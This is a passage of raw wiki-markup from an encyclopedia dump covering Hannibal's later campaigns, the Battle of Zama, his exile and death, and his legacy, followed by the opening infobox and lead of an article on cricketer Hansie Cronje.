destroy all but a small remainder of this force. Depending upon the source, it is estimated that 50,000-70,000 Romans were killed or captured at Cannae. Among the dead were the Roman consul [[Lucius Aemilius Paullus]], as well two consuls for the preceding year, two [[quaestor]]s, twenty-nine out of the forty-eight [[military tribune]]s, and an additional eighty senators (at a time when the Roman Senate was comprised of no more than 300 men, this constituted 25%&amp;mdash;30% of the governing body). This makes the [[Battle of Cannae]] one of the most catastrophic defeats in the history of [[Ancient Rome]], and one of the bloodiest battles in all of human history (in terms of the number of lives lost within a single day). 

The moral effect of this victory was such that most of southern Italy joined his cause. As Polybius notes, ''“How much more serious was the defeat of Cannae, than those which preceded it can be seen by the behavior of Rome’s allies; before that fateful day, their loyalty remained unshaken, now it began to waver for the simple reason that they despaired of Roman Power.”''  {{ref|Sealy}}. During that same year, the Greek cities in Sicily were induced to revolt against Roman political control, while the Macedonian king, [[Philip V of Macedon|Philip V]] had pledged his support to Hannibal —thus initiating the [[First Macedonian War]] against Rome. Hannibal also secured an alliance with newly appointed King [[Hieronymous]] of [[Syracuse, Italy|Syracuse]]. Had Hannibal now received proper material reinforcements from his countrymen at Carthage he might have made a direct attack upon Rome; for the present he had to content himself with subduing the fortresses which still held out against him, and the only other notable event of [[216 BC]] was the defection of [[Capua]], the second largest city of Italy, which Hannibal made his new base. Yet even this defection failed to satisfy him as only a few of the Italian city-states which he had expected to gain as allies consented to join him.

===Stalemate===
The war in Italy settled into a strategic stalemate in the years following Cannae. The Romans, after suffering three consecutive defeats and losing countless other battles, had at this point, learned their lesson. They utilized the [[Attrition warfare|attritional]] strategies Fabius had taught them, and which, they finally realized, were the only feasible means of defeating Hannibal. They always kept Hannibal in view, they only fought when everything was in their favor; they sought to starve him rather than destroy him in battle; and cut down his power of doing harm as fast as circumstances warranted {{ref|Dodge}}. Despite their defeats and the defections, the Romans could still field larger armies than Hannibal, and could readily replace their loses. The consuls the Roman Senate elected always had an upwards of 80,000 men to oppose Hannibal, whose army was deteriorating in quality and barely more than half of that of the Romans’. Instead of using a single large army, Rome now began to field multiple smaller armies. These armies sought to tire Hannibal through fatiguing marches, constant skirmishes, and famine.  As a result, for the next few years, Hannibal was forced to sustain a [[scorched earth]] policy and obtain local provisions for protracted and ineffectual operations throughout Southern Italy. Since he was no longer able to draw his opponents into a [[pitched battle]], his immediate objectives were reduced to minor operations which centered mainly round the cities of [[Campania]]. 

As the war drew on, Hannibal repeatedly appealed to the Carthaginian oligarchy for reinforcements and aid. The War-faction and the Pro-Roman Peace Party were the two main political parties that controlled Carthage during this time. The latter, represented Peace and Conciliation with Rome, and the other, represented a war policy and a policy of resistance to Rome. Despite the apparent unanimity of the acceptance of war, [[Hanno the Great|Hanno]], the leader of the Peace Party, condemned Hannibal’s actions. As spokesperson for the Carthaginian noble class, he opposed the policy of foreign conquest pursued by Hannibal. As a result, Hanno undermined support in Carthage for Hannibal's military efforts in Italy. Moreover, the success of the Romans in [[Iberian Peninsula|Iberia]] (Carthage's main source of wealth in the Mediterranean) had convinced the Carthaginians that their most valuable colony was at stake. Thus, in the hopes of stemming the tide against the Romans there, reinforcements desperately needed by Hannibal in Italy, were otherwise rerouted to Iberia. Carthage also diverted her limited resources in Sardinia as well as Sicily. At the same time, Hannibal experienced great difficulty materializing his allies. Many of the allies defected to the Carthaginians, on the condition that they could not be forced to serve against their will. This not only rendered this defection less beneficial to Hannibal, but also ensured him that he could not rely on his allies as he hoped for. To make matters worst, his men grew increasingly weak beyond the point where he was no longer able to beat the Romans, who were daily growing stronger in numbers and experience.
[[Image:Second Punic War Battles.gif|180px|right|thumb|Hannibal's three-main victories in Italy: ''(1)'' The [[Battle of the Trebia]] ''(2)'' [[Battle of Lake Trasimene]] ''(3)'' [[Battle of Cannae]] respectively, The Department of History, United States Military Academy]]
As the forces detached under his lieutenants were generally unable to hold their own, and neither his home government nor his new ally [[Philip V of Macedon]] helped to make good his losses, his position in southern Italy became increasingly difficult and his chance of ultimately conquering Rome grew ever more remote. Granted, Hannibal still won a number of notable victories: Completely destroying two Roman armies in [[212 BC]], and at one point, killing two Consuls (which included the famed [[Marcus Claudius Marcellus|Marcellus]]) in a battle in [[208 BC]]. Nevertheless, without the resources his allies could contribute, or reinforcements from Carthage, Hannibal could not make further significant gains. Thus, inadequately supported by his Italian allies, abandoned by his government, and unable to match Rome’s resources, Hannibal slowly began losing ground. Hannibal continued defeating the Romans whenever he could bring them into battle, yet he was never able to complete another decisive victory that produced a lasting strategic effect. [[Leonard Cottrell]] encapsulated Hannibal's situation with an interesting [[analogy]]: ''“So the rest of the war becomes rather like a group of lesser animals [The Romans] following a wounded lion [Hannibal]. Every now and then the beast turns, and they scatter. Sometimes it conceals itself and then, leaping out, tears its tormentors to pieces. Afterwards, it moves on alone and unmolested for a while, but before very long it hears once again the stealthy pad-pad of footsteps following some way behind.”''

===End of War in Italy===
In [[212 BC]] the Romans had so alienated [[Taranto|Tarentum]] that conspirators admitted Hannibal to the city. The conspirators then blew the alarm on some Roman trumpets allowing Hannibal's troops to pick off the Romans as they stumbled out into the streets. Hannibal was able to keep control of his troops to the extent that there was no general looting. Instead Hannibal having committed himself to respect Tarentine freedom told the Tarentines to mark every house where Tarentines lived. Only those houses not so marked and thus belonging to Romans were looted.  The citadel, however, held out so denying Hannibal the use of harbor. His brother Hanno, however, was defeated at Beneventum further depleting the overall Carthaginian force. Despite resisting a siege by Roman forces at Herdonea, the tide was slowly beginning to turn in Rome's favor. Further, in the same year, he lost his hold upon Campania, where he failed to prevent the concentration of three Roman armies around Capua. 

Two Roman armies besieged Capua so persistently that Hannibal himself was forced to attack the besieging armies with his full force in [[211 BC]]. It was only a temporary relief, for two years later the Romans were again before Capua with three armies. By a sudden march through [[Samnium]] that brought him within three kilometers of Rome, Hannibal attempted to draw them away by a [[feint]] against their capitol. He was hoping that his feint on Rome would force the siege of Capua to be lifted, and draw the Roman army out into the open where Hannibal could destroy them in a [[pitched battle]]. Yet his strategy caused more alarm than real danger to the city. The siege of Capua continued, and the city fell in the same year.  Likewise, in summer of 211 BC, the Romans completed their conquest of Syracuse and destruction of a Carthaginian army in Sicily. Shortly thereafter, the Romans pacified Sicily and entered into an alliance with the [[Aetolian League]] to counter Phillip V. Philip, who attempted to exploit Rome's preoccupation in Italy to conquer [[Illyria]], now found himself under attack from several sides at once and was quickly subdued by Rome and her Greek allies. Meanwhile, Hannibal had defeated Fulvius at Herdonea in Apulia, but lost Tarentum in the following year. 

In [[210 BC]] Hannibal again proved his superiority in tactics by a severe defeat inflicted at Herdoniac (modern [[Ordona]]) in Apulia upon a [[proconsul]]ar army, and in [[208 BC]] destroyed a Roman force engaged in the siege of [[Locri|Locri Epizephyri]]. But with the loss of Tarentum in [[209 BC]] and the gradual reconquest by the Romans of Samnium and [[Lucania]], his hold on south Italy was almost lost. In [[207 BC]] he succeeded in making his way again into Apulia, where he waited to concert measures for a combined march upon Rome with his brother [[Hasdrubal]]. On hearing, however, of his brother's defeat and death at the [[Battle of the Metaurus|Metaurus]] he retired into [[Bruttium]], where he maintained himself for the ensuing years. The combination of these events marked the end to Hannibal's success in Italy. With the failure of his brother [[Mago Barca|Mago]] in [[Liguria]] ([[205 BC]]-[[203 BC]]) and of his own negotiations with Philip of Macedon, the last hope of recovering his ascendancy in Italy was lost. In 203 BC, after nearly fifteen years of fighting in Italy, and with the military fortunes of Carthage rapidly declining, Hannibal was recalled to [[Carthage]] to direct the defence of his native country against a Roman invasion under [[Scipio Africanus]].

==Conclusion of Second Punic War (203&amp;mdash;201 B.C.) ==
[[Image:scipio.jpg|thumb|right|150px|[[Scipio Africanus]]]]
===Return to Africa===
In [[203 BC]], when [[Scipio]] was carrying all before him in Africa and the Carthaginian peace party were arranging an [[armistice]], Hannibal was recalled from Italy by the war party at Carthage. After leaving a record of his expedition engraved in [[Punic]] and [[Greek language|Greek]] upon brazen tablets in the temple of [[Juno]] at [[Crotone|Crotona]], he sailed back to Africa. His arrival immediately restored the predominance of the war party, who placed him in command of a combined force of [[Africa]]n [[levies]] and his mercenaries from Italy. In [[202 BC]] Hannibal, met Scipio in a fruitless peace conference. Despite mutual admiration, negotiations floundered due to Roman allegations of &quot;Punic Faith,&quot; referring to the breach of protocols which ended the First Punic War by the Carthaginian attack on Saguntum, as well as perceived breach in contemporary military etiquette (Hannibal's numerous ambuscades). The decisive battle at [[Battle of Zama|Zama]] soon followed.  

===The Battle of Zama===
{{Main|Battle of Zama}}
Both Scipio and Hannibal met on the field of Zama. Hannibal amassed some 50,000 infantry and 4,000 cavalry, while Scipio had a total of 34,000 infantry and 8,700 cavalry at his disposal. Placing his inexperienced cavalry on the flanks, Hannibal aligned his troops in three phalangial lines behind eighty [[war elephants]]. The first line consisted of mixed infantry of [[Gaul]]s, [[Liguria]]ns, and Balerians. In his second line he placed the Carthaginian and [[Libya]]n levies while his veterans from Italy were placed in the third line. Hannibal intentionally held back his third infantry line (perhaps the first example of a true [[Military reserves|reserve]] in military history), in order to thwart Scipio's tendency to pin the Carthaginian center and envelop his opponent's lines, as he had previously done at the [[Battle of Ilipa]]. Hannibal hoped that the combination of the war elephants and the depth of the first two lines would weaken and disorganize the Roman advance, whereupon he would complete a victory with his reserves in the third line and overlap Scipio's lines. Though this formation was indeed well-concieved, it failed to materialize into a victory for the aging Hannibal, who was suffering from mental exhaustion and deteriorating health after years of campaigning in Italy. 

At the outset of the battle, the superior Roman cavalry swept their Carthaginian counterparts and pursued them off the field— depriving him of his entire body of cavalry (though it is believed that Hannibal had intended his cavalry to lure their opponents away from the battlefield, in effect eliminating the advantage the Romans enjoyed in this arm). Likewise, Hannibal’s first two lines, unable to cope against the well-trained and confident Roman soldiers, were disposed of thereafter. For years, Hannibal had won victories with his experienced army, but now he facing the best of Roman army, while he himself commanded a makeshift army, who fared poorly against the Romans. As Livy states ''“...the Romans immediately drove back the line[s] of their opponents; then pushing their elbows and the bosses of their shields, and pressing forward into the places which they had pushed them, they advanced at a considerable pace, as if there had been no one their to resist them...”'' {{ref|Dodge}}.  

[[Image:Zama.jpg|150px|right|thumb|Painting of the [[Battle of Zama]] by [[Cornelis Cort]], 1567]] Moreover, Scipio came up with an inventive method of neutralizing Hannibal's elephants. Hannibal lost all of his original elephant troops (who crossed the Alps with him) by the battle of Cannae, but they were replenished in Africa. First of all, Scipio knew that elephants could only be ordered to charge forward, but they could only continue their charge in a straight line. So rather than lining his Roman forces in the traditional manipular lines, which put the velites, princeps, and triari in succeeding lines of 500 men groups, Scipio instead put the maniples in a chequer pattern, with his elite heavy infantry in diagonals. Scipio realized that intentionally opening gaps in his troops meant that the elephants would continue between them, without harming a soul. He did this, and after the elephants passed through his troops harmlessly and were picked off on the other side (many of them were so distraught, in fact, they charged back into their own Carthaginian lines). Scipio's troops then  fell back into formation and continued marching. 

Despite these setbacks, the battle remained a closely contended engagement. When the Roman infantry confronted the Carthaginian third line, the resulting clash was fierce and bloody, with neither side achieving local superiority. In fact, during one point of the battle, it seemed that Hannibal was on the verge of victory. However, Scipio was able to rally his men, and his cavalry, after pursuing the Carthaginian cavalry, returned in time to deliver a devastating blow in Hannibal's rear. This two-pronged attack caused the Carthaginian formation to disintegrate and collapse. Unable to cope against the well-trained and confident Roman soldiers with his own indifferent troops after losing his notorious advantage, Hannibal experienced a crushing defeat that put an end to all resistance on the part of Carthage. In total, as many as 20,000 men of Hannibal’s army were mercilessly killed at Zama, and an equal number of men were taken as prisoners. The Romans on the other hand, lost as few as 500 dead and 4,000 wounded. With their foremost general defeated, the Carthaginians had no choice but to accept defeat and surrender to Rome.

==Later career==
===Peacetime Carthage (200&amp;mdash;196 B.C.) ===
Hannibal was still only in his forty-sixth year and soon showed that he could be a statesman as well as a soldier. Following the conclusion of a peace that left Carthage stripped of its formerly mighty empire Hannibal prepared to take a back seat for a time. However, the blatant corruption of the [[oligarchy]] gave Hannibal a chance of a come back and he was elected as ''[[suffet]]'', or chief [[magistrate]]. The office had become rather insignificant, but Hannibal restored its power and authority. The oligarchy, always jealous of him, had even charged him with having betrayed the interests of his country while in Italy, for neglecting to take Rome when he might have done so. So effectively did Hannibal reform abuses that the heavy tribute imposed by Rome could be paid by installments without additional and extraordinary taxation. He also reformed the [[Council of One Hundred]], stipulating that its membership be chosen by direct election rather than co-option

===Exile and death (195&amp;mdash;183 B.C.) ===
Seven years after the victory of Zama, the Romans, alarmed by Carthage's renewed prosperity, demanded Hannibal's surrender. Hannibal thereupon went into voluntary [[exile]]. First he journeyed to [[Tyre]], the mother-city of Carthage, and thence to [[Ephesus]], where he was honorably received by [[Antiochus III]] of [[Syria]], who was preparing for war with Rome. Hannibal soon saw that the king's army was no match for the Romans. He advised him to equip a fleet and land a body of troops in the south of Italy, offering to take command himself. But he could not make much impression on Antiochus, who listened more willingly to courtiers and flatterers and would not entrust Hannibal with any important charge. 

[[Cicero]] offers a story of Hannibal while at the court of [[Antiochus III]]. Hannibal attended a lecture by a certain Phormio, a [[philosopher]], that ranged through many topics. When [[Phormio]] finished the portion about the duties of a general, Hannibal was asked his opinion. ''&quot;I have seen,&quot;'' he replied, ''&quot;during my life many an old fool; but this one beats them all.&quot;'' There is another story told about Hannibal while in exile, which puts an odd spin on his supposed &quot;Punic perfidy&quot;.  [[Antiochus III]] showed off a vast and well armed formation to Hannibal and asked him if they would be enough for [[Roman Republic|Rome]], to which Hannibal replied,'' &quot;Yes, enough for the [[Ancient Rome|Romans]], however greedy they may be.&quot;''

In [[190 BC]] he was placed in command of a [[Phoenicia]]n fleet but was defeated in a battle off the river [[Eurymedon River|Eurymedon]]. According to [[Strabo]] and [[Plutarch]], Hannibal also received hospitality at the [[Armenia|Armenian]] court of [[Artaxias I|Artaxias]] where he planned and supervised the building of the new royal capital [[Artaxata]]. From the court of Antiochus, who seemed prepared to surrender him to the Romans, Hannibal fled to [[Crete]], but he soon went back to [[Asia Minor]] and sought refuge with [[Prusias I of Bithynia]], who was engaged in warfare with Rome's ally, [[King Eumenes II of Pergamum|King Eumenes II]] of [[Pergamum]]. Hannibal went on to serv Prusias in this war. In one of the victories he gained over Eumenes at sea, it is said that he used one of the first examples of [[biological warfare]] - he threw cauldrons of snakes into the enemy vessels. Once more the Romans were determined to hunt him down, and they sent [[Flaminius]] to insist on his surrender. Prusias agreed to give him up, but Hannibal determined not to fall into his enemies' hands. At [[Libyssa]] on the eastern shore of the [[Sea of Marmora]], he took poison, which, it was said, he had long carried about with him in a ring. The precise year of his death is a matter of controversy. If, as [[Livy]] seems to imply, it was [[183 BC]], he died in the same year as Scipio Africanus.

==Sources==
Most of the sources we have about Hannibal are Romans, who considered him the greatest enemy they had ever faced. [[Livy]] gives us the idea that he was extremely cruel. Even [[Cicero]], when he talked of Rome and her two great enemies, spoke of the ''&quot;honorable&quot;'' [[Pyrrhus of Epirus|Pyrrhus]] and the ''&quot;cruel&quot;'' Hannibal. Yet a different picture is sometimes revealed. When Hannibal's successes had brought about the death of two Roman [[consul]]s, he vainly searched for the body of [[Gaius Flaminius]] on the shores of [[Lake Trasimeno|Lake Trasimene]], held ceremonial rituals in recognition of [[Lucius Aemilius Paullus (General)|Lucius Aemilius Paullus]], and sent [[Marcus Claudius Marcellus|Marcellus]]' ashes back to his family in Rome. By contrast, when [[Gaius Claudius Nero|Nero]] had accomplished his march back and forth to and from the [[Metaurus River|Metaurus]] he flung the head of Hannibal's brother into Hannibal's camp. Any bias attributed to [[Polybius]], however, is more troublesome, since he was clearly sympathetic towards Hannibal. Nevertheless, Polybius spent a long period as a hostage in Italy and relied heavily on Roman sources, so there remains the possibility that he was reproducing elements of Roman [[propaganda]].

==Legacy==
===Cultural References===
[[Image:Joseph Mallord William Turner 081.jpg|thumb|right|250px|''&quot;Snow-storm: Hannibal and his Army Crossing the Alps&quot;'' by [[J.M.W. Turner]]. This famous painting is one out of several [[neoclassical]] artworks immortalizing Hannibal’s crossing of the Alps]]
Hannibal's name is also commonplace in popular culture, an objective measure of his influence on Western European history.  Long after his death, his name continued to carry a portent of great or imminent danger within the [[Roman Republic]]. It was written that he taught the Romans, who claimed to be fierce descendants of [[Mars (god)|Mars]], the meaning of [[fear]]. For generations, Roman housekeepers would tell their children brutal tales of Hannibal when they misbehaved (the equivalent of the modern day ''&quot;[[Bogeyman]]&quot;''). In fact, Hannibal became such a figure of terror, that when ever disaster struck, the Roman Senators would exclaim  ''&quot;[[List of Latin phrases|Hannibal ad portas]]&quot;'' (''“Hannibal is at the Gates!”'') to express their fear or anxiety. This famous [[Latin]] phrase evolved into a [[List of idioms in the English language|common expression]] that is often used when a client arrives through the door or when one is faced with calamity&lt;sup&gt;[http://www.alanemrich.com/Class/Class_Practical_Latin.htm]&lt;sup&gt;. This illustrates the psychological impact Hannibal's presence in Italy had on [[Culture of ancient Rome|Roman Culture]] .

Similar to [[Robert E. Lee]] and [[Erwin Rommel]] after him, Hannibal's victories against superior forces in an ultimately losing cause won him enduring fame that outlasted his [[Carthage|native country]]. His crossing of the Alps remains one of the most monumental military feats of [[ancient warfare]] &lt;sup&gt;[http://www.bartleby.com/65/ha/Hannibal.html]&lt;sup&gt; and has since captured the imagination of the Western World (romanticized by several artworks and subject to Roman [[folklore]]).

===Military history===
Hannibal's legacy also extends to the field of [[military history]], as he is universally ranked as one of the greatest military strategists and tacticians of the [[Western world]], alongside [[Epaminondas]], [[Alexander the Great]], [[Julius Caesar]], [[Scipio Africanus|Scipio]], [[Gustavus Adolphus of Sweden|Gustavus Adolphus]], [[Turenne]], [[John Churchill|The Duke of Marlborough]], [[Frederick the Great]], and [[Napoleon I of France|Napoleon]] among others. In fact, his exploits (especially his victory at [[Battle of Cannae|Cannae]]) continue to be studied in several military academies all over the world.
[[Image:Napoleon4.jpg|right|200px|thumb|''[[Napoleon I of France|Napoléon]] crossing the Alps,'' by [[Jacques-Louis David]]. Napoleon's famous crossing of the Alps during the [[Napoleon I of France#An interlude of peace|Second Italian Campaign]], is often associated with Hannibal, whose name is inscribed on the rock in the left foreground of the painting.]]
The author of the [[1911 Encyclopædia Britannica]] article praises Hannibal in these words: ''&quot;As to the transcendent military genius of Hannibal there cannot be two opinions. The man who for fifteen years could hold his ground in a hostile country against several powerful armies and a succession of able generals must have been a commander and a [[tactician]] of supreme capacity. In the use of stratagems and [[ambuscade]]s he certainly surpassed all other generals of antiquity. Wonderful as his achievements were, we must marvel the more when we take into account the grudging support he received from Carthage. As his veterans melted away, he had to organize fresh levies on the spot. We never hear of a mutiny in his army, composed though it was of Africans, Spaniards and [[Gauls]]. Again, all we know of him comes for the most part from hostile sources. The Romans feared and hated him so much that they could not do him justice. Livy speaks of his great qualities, but he adds that his vices were equally great, among which he singles out his more than Punic perfidy and an inhuman cruelty. For the first there would seem to be no further justification than that he was consummately skilful in the use of ambuscades. For the latter there is, we believe, no more ground than that at certain crises he acted in the general spirit of ancient warfare. Sometimes he contrasts most favorably with his enemy. No such brutality stains his name as that perpetrated by Claudius Nero on the vanquished Hasdrubal. Polybius merely says that he was accused of cruelty by the Romans and of avarice by the Carthaginians. He had indeed bitter enemies, and his life was one continuous struggle against destiny. For steadfastness of purpose, for organizing capacity and a mastery of military science he has perhaps never had an equal.&quot;  ''

Even his Roman chroniclers acknowledged his military genius, writing that, ''“he never required other to do what he could and would not do himself”'' &lt;sup&gt;[http://www.carpenoctem.tv/military/hannibal.html]&lt;sup&gt;. [[Napoleon Bonaparte]] himself regarded Hannibal as a gifted strategist, describing him as ''“the most audacious of all, probably the most stunning, so hardy, so sure, so great in all things.''” [[Alfred Graf von Schlieffen]]’s eponymously-titled &quot;[[Schlieffen Plan]]&quot; was developed from his military studies, with particularly heavy emphasis on Hannibal's victory at [[Battle of Cannae|Cannae]]. [[George S. Patton|Patton]] believed that he was a reincarnation of General Hannibal as well as many other people including a Roman [[legionary]]. [[Norman Schwarzkopf]], the commander of the Coalition Forces in the Gulf War, claimed that ''&quot;The technology of war may change, the sophistication of weapons certainly changes. But those same principles of war that applied to the days of Hannibal apply today&quot;''.

===&quot;''Father of Strategy''&quot;===

According to the military historian, [[Theodore Ayrault Dodge]], ''“Hannibal excelled as a [[tactician]]. No battle in history is a finer sample of tactics than [[Battle of Cannae|Cannae]]. But he was yet greater in logistics and strategy. No captain ever matched to and fro among so many armies of troops superior to his own numbers and material as fearlessly and skillfully as he. No man ever held his own so long or so ably against such odds. Constantly overmatched by better soldiers, led by generals always respectable, often of great ability, he yet defied all their efforts to drive him from Italy, for half a generation.”''  Furthermore, Dodge christened Hannibal as the &quot;father of strategy&quot; due to his visionary conduct of warfare&lt;sup&gt;[http://www.carpenoctem.tv/military/hannibal.html]&lt;sup&gt;. He wrote: ''&quot;Excepting in the case of [[Alexander the Great|Alexander]], and some few isolated instances, all wars  up to the [[Second Punic War]], had been decided largely, if not entirely, by battle-tactics. Strategic ability had been comprehended only on a minor scale. Armies had marched towards each other, had fought in parallel order, and the conqueror had imposed terms on his opponent. Any variation from this rule consisted in ambuscades or other strategems. That war could be waged by avoiding in lieu of seeking battle; that the results of a victory could be earned by attacks upon the enemy’s communications, by flank-maneuvers, by seizing positions from which safely to threaten him in case he moved, and by other devices of strategy, was not understood . . .[However] For the first time in the history of war, we see two contending generals avoiding each other, occupying impregnable camps on heights, marching about each other's flanks to seize cities or supplies in their rear, harasssing each other with small-war, and rarely venturing on a battle which might prove a fatal disaster—all with a well-conceived purpose of placing his opponent at a strategic disadvantage. . .That it did so was due to the teaching of Hannibal&quot;''.

==Hannibal in film==
*''[[Hannibal (2006 film)|Hannibal]]'' ([[2006 in film|2006]]) &amp;mdash; starring [[Vin Diesel]].
*''The Phantom of the Opera (2005)'' &amp;mdash; the beginning Opera being rehearsed is one about Hannibal so titled Hannibal.
*''True Story of Hannibal'' ([[2005 in film|2005]]) &amp;mdash; English documentary.
*''Hannibal: The Man Who Hated Rome'' ([[2001 in film|2001]]) &amp;mdash; English documentary.
*''The Great Battles of Hannibal'' ([[1997 in film|1997]]) &amp;mdash; English animation.
*''Annibale'' ([[1960 in film|1960]]) &amp;mdash; starring [[Victor Mature]]. Italian.

==List of battles==
{{Campaignbox Second Punic War}}
*[[218 BC]] 
: '''[[Battle of the Ticinus]]''' - Hannibal defeats the Romans under [[Publius Cornelius Scipio|Publius Cornelius Scipio the :Elder]] in a small cavalry fight.
: '''[[Battle of the Trebia]]''' - Hannibal defeats the Romans under [[Titus Sempronius Longus]].

*[[217 BC]]  
: '''[[Battle of Lake Trasimene]]''' - In an ambush, Hannibal destroyed the Roman army of [[Gaius Flaminius]], who is killed.

*[[216 BC]] 
: '''[[Battle of Cannae]]''' - Hannibal destroys the Roman army led by [[Lucius Aemilius Paullus]] and [[Gaius Terentius Varro]] in what is considered one of the great masterpieces of the tactical art.
: '''[[Battle of Nola (216 BC)|First Battle of Nola]]''' - Roman general [[Marcus Claudius Marcellus]] holds off an attack by Hannibal.

*[[215 BC]]  
: '''[[Battle of Nola (215 BC)|Second Battle of Nola]]''' - Marcellus again repulses an attack by Hannibal.

*[[214 BC]]  
: '''[[Battle of Nola (214 BC)|Third Battle of Nola]]''' - Marcellus fights an inconclusive battle with Hannibal.

*[[212 BC]] 
: '''[[Battle of Capua (212 BC)|First Battle of Capua]]''' - Hannibal defeats the consuls Q. Fulvius Flaccus and [[Appius Claudius]], but the Roman army escapes.
: '''[[Battle of the Silarus]]''' - Hannibal destroys the army of the Roman praetor M. Centenius Penula.
: '''[[Battle of Herdonia (212 BC)|First Battle of Herdonia]]''' - Hannibal destroys the Roman army of the praetor Gnaeus Fulvius.
: '''[[Battle of Capua (211 BC)|Second Battle of Capua]]''' - Hannibal is unable to break the Roman siege of the city.

*[[210 BC]] 
: '''[[Battle of Herdonia (210 BC)|Second Battle of Herdonia]]''' - Hannibal destroys the Roman army of Fulvius Centumalus, who is killed
: '''[[Battle of Numistro]]''' - Hannibal defeats Marcellus once more

*[[209 BC]]  
: '''[[Battle of Asculum (209 BC)|Battle of Asculum]]''' - Hannibal once again defeats Marcellus, in an indecisive battle
*[[207 BC]] 
: '''[[Battle of Grumentum]]''' - Roman general [[Gaius Claudius Nero]] fights an indecisive battle with Hannibal, then marches north to confront Hannibal's brother [[Hasdrubal]], who has invaded Italy

*[[204 BC]]  
: '''[[Battle of Crotona]]''' - Hannibal fights a drawn battle against the Roman general Sempronius in Southern Italy.

*[[202 BC]]  
: '''[[Battle of Zama]]''' ([[October 19]]) - [[Scipio Africanus Major]] decisively defeats Hannibal in North Africa, ending the [[Second Punic War]]

==Quote==
* ''&quot;We will either find a way, or make one.&quot;''&amp;mdash;Hannibal in response to the claimed impossibility of crossing the Alps with [[war elephant]]s.
* ''&quot;God has given no greater spur to victory than contempt of death.&quot;''&amp;mdash;Hannibal
* ''“I am not carrying on a war of extermination against the Romans. I am contending for honor and empire.”''&amp;mdash;Hannibal

==See also==
* [[Military history]]
* [[Famous military commanders]]
* [[War elephant]]
* [[Barcid]] family
* [[Hamilcar Barca]]
* [[Second Punic War]]

==References==
# {{note|Cottrell}}Cottrell, Leonard, ''Enemy of Rome'', Evans Bros, 1965, ISBN 0237443201
# {{note|Goldsworthy}}Goldsworthy, A, ''The Punic Wars'', London, Cassell and Company, 2000
# {{note|Dodge}}[[Theodore Ayrault Dodge|Dodge, Theodore]], ''Hannibal'', Cambridge, Massachusetts, De Capo Press, 1891, ISBN 0306813629
# {{note|Hart}}[[Basil Liddell Hart|Liddell Hart, Basil]], ''Strategy'', New York City, New York, Penguin Group, 1967
# {{note|Healy}}Healy, Mark, ''Cannae: Hannibal Smashes Rome's Army'',  Steerling Heights, Missouri, Osprey Publishing, 1994
# {{note|Talbert}}[[Richard J.A. Talbert|Talbert, Richard J.A.]], ed., ''Atlas of Classical History'', London/New York, Routledge, 1985, ISBN 0-415-03463-9
# {{note|Cowley}}Cowley, Robert (ed.), Parker, Geoffrey (ed.), ''The Reader’s Companion to Military History'', Houghton Mifflin Company, 1996, ISBN 0-395-66969-3

==Further reading==
*Bradford, E, ''Hannibal'', London, Macmillan London Ltd., 1981
*Carlton, James, ''The Military Quotation Book'', New York City, New York, Thomas Dunne Books, 2002
*Caven, B., ''Punic Wars'', London, George Werdenfeld and Nicholson Ltd., 1980
*Dexter Hoyos, B., ''Hannibal: Rome's Greatest Enemy'', Bristol Phoenix Press, 2005, ISBN 1904675468 (hbk) ISBN 1904675476 (pbk)
*Cottrell, Leonard, ''Enemy of Rome'', Evans Bros, 1965, ISBN 0237443201 (pbk)
*[[Livy]], Titus Livius and De Selincourt, Aubery, ''The War with Hannibal: Books XXI-XXX of the History of Rome from its Foundation'', Penguin Classics, Reprint edition, July 30, 1965, ISBN 014044145X (pbk)
*Daly, Gregory, ''Cannae: The Experience of Battle in the Second Punic War'', London/New York, Routledge, 2002, ISBN 0415327431
*[[Hans Delbrück|Delbrück, Hans]], ''Warfare in Antiquity'', 1920, ISBN 0-8032-9199-X
*[[Richard J.A. Talbert|Talbert, Richard J.A.]], ed., ''Atlas of Classical History'', Routledge, London/New York, 1985, ISBN 0-415-03463-9

==External links==
* ''[http://www.barca.fsnet.co.uk/ Hannibal Barca and the Punic Wars]''
* ''[http://www.fordham.edu/halsall/ancient/polybius-hannibal.html Ancient History Sourcebook: Polybius (c.200-after 118 BC): The Character of Hannibal]''
*  ''&quot;[http://historynet.com/mh/blcarthage/index.html Rome and Carthage: Classic Battle Joined]&quot;'' Article by Greg Yocherer from ''Military History Magazine''
* ''[http://cgsc.leavenworth.army.mil/carl/resources/csi/Cannae/cannae.asp#cannae Cannae]'' A treatise by General Fieldmarshal Count [[Alfred von Schlieffen]]

''This article incorporates text from the [[public domain]] [[1911 Encyclopædia Britannica]].''[[Category:1911 Britannica]]

[[Category:Generals]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Carthaginians]]
[[Category:Admirals]]
[[Category:Military people who committed suicide]]
[[Category:247 BC births]]
[[Category:183 BC deaths]]

[[ar:حنبعل]]
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[[es:Aníbal Barca]]
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[[ko:한니발]]
[[ia:Hannibal]]
[[is:Hannibal Barca]]
[[it:Annibale]]
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[[zh:汉尼拔]]</text>
    </revision>
  </page>
  <page>
    <title>Hansie Cronje</title>
    <id>13961</id>
    <revision>
      <id>40940256</id>
      <timestamp>2006-02-24T00:30:26Z</timestamp>
      <contributor>
        <username>Zaian</username>
        <id>629652</id>
      </contributor>
      <minor />
      <comment>Added headings, removed aeronautical jargon</comment>
      <text xml:space="preserve">{{Infobox Cricketer |
flag = South africa flag large.png |
nationality = South African |
country = South Africa |
country abbrev = SAF |
name = Hansie Cronje |
picture = Cricket_no_pic.png |
batting style = Right-handed batsman (RHB) |
bowling style = Right-arm medium (RM) |
tests = 68 |
test runs = 3714 |
test bat avg = 36.41 |
test 100s/50s = 6/23 |
test top score = 135 |
test overs = 633.2 |
test wickets = 43 |
test bowl avg = 29.95 |
test 5s = 0 |
test 10s = 0 |
test best bowling = 3/14 |
test catches/stumpings = 33/0 |
ODIs = 188 |
ODI runs = 5565 |
ODI bat avg = 38.64 |
ODI 100s/50s = 2/39 |
ODI top score = 112 |
ODI overs = 892.2 |
ODI wickets = 114 |
ODI bowl avg = 34.78 |
ODI 5s = 1 |
ODI best bowling = 5/32 |
ODI catches/stumpings = 73/0 |
date = 1 January |
year = 2005 |
source = http://www.cricinfo.com/link_to_database/PLAYERS/RSA/C/CRONJE_WJ_03002010/
}}
'''Wessel Johannes &quot;Hansie&quot; Cronje''' ([[September 25]], [[1969]] - [[June 1]], [[2002]]) was a [[South Africa]]n [[cricket]]er ([[all-rounder]]) and captain of the South African national cricket team in the [[1990s]].  He was voted the [[SABC3's Great South Africans|11th greatest South African]] in [[2004]] despite having been banned for life from professional cricket for his role in a match-fixing scandal. 
 
